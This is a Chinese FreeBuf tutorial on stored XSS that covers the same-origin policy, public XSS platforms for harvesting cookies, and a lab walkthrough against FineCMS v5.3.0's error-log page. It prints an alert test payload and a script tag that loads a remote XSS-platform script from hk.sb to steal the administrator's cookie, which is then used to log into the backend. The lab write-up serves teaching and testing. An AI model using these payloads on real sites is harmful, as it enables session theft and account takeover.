freeBuf
存储型XSS
2021-11-23 20:33:57

前言

什么是存储型xss:

提交恶意xss数据,存入数据库中,访问时触发。


存储型xss和反射型xss区别:

存储型存入数据库中,可持续时间长,而反射型持续时间短,仅对本次访问有影响,反射型一般要配合社工。


存储型xss操作过程:

嵌入到了web页面的恶意代码被存储到服务器上,例如你注册时候将用户昵称设置为XSS恶意代码,那么访问某些页面会显示用户名的时候就会触发恶意代码。


存储型xss可能出现的位置:

可以插入数据的地方,比如用户注册,留言板,上传文件的文件名处,管理员可见的报错信息....


同源策略

为什么A站点会填充A站点的Cookie,B站点会填充B站点的Cookie,他们不会相互乱窜?


同源策略:浏览器的同源策略,限制了不同源的Js,对当前页面的资源和属性的权限。同源策略保护了a.com域名下的资源不被来自其他网页的脚本读取或篡改。


所谓同源:需要同 域名/host、端口、协议。

1637593086_619baffe76abfe538b549.png!small?1637593085610


如何使用XSS平台

xss平台的payload怎么使用:

和弹窗一样,直接去加载,一般XSS平台也会提供攻击代码。


xss平台payload作用原理:

访问后触发,去加载平台给出的脚本网址。


常见的XSS平台:

HKSB

XSSPT

XSS8CC

XSSB


访问XSS平台的注意事项:

后台可以看到所有用户的Cookie,当你用了别人的XSS平台其实就要注意信息泄露这个问题,而且访问XSS平台和XSS页面建议使用无痕,天知道,他们会不会在脚本里面做手脚。

注册后先创建项目:1637656331_619ca70b013162b6a1861.png!small?1637656330807


获取Cookie的话只需要勾选默认模块和xss.js 即可,

在默认模块中有一个keepsession选项,由于cookie具有时效性,勾选的话,就可以保留cookie。

1637657250_619caaa2706240ed1eba3.png!small?1637657250261

直接拿类似的payload插入即可:

1637657036_619ca9cc911e73d03dd39.png!small?1637657036425

1637657108_619caa14994cc86b43dee.png!small?1637657108394


存储型XSS靶场实操

1.进入漏洞页面

细看发现这个靶场使用的是通用型源码FineCMS公益软件 v5.3.0

FineCMS v5.3.0存储型XSS简单来说就是可通过构造URL,让后台生成错误日志,而后台对错误日志的内容写入没有进行安全检查,导致写入的内容原原本本的显示在错误日志的页面中,当管理员在后台查看错误日志时,就会触发XSS代码。

1637668019_619cd4b3d3f177b1f7963.png!small?1637668019581

2.测试

1)是否弹窗

/index.php?c=mail&m=txtxtx<script>alert("hacker")</script>

1637668765_619cd79d3091b6a3b506c.png!small?1637668764782

2)插入XSS平台生成攻击语句获取Cookie:

/index.php?c=mail&m=txtxtx<sCRiPt sRC=//hk.sb/fNcM></sCrIpT>

1637669747_619cdb7393ba97da878c0.png!small?1637669747204


3.利用获取的Cookie登录网站后台

1637669728_619cdb607b5ad929cdf83.png!small?1637669728218



本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
文章目录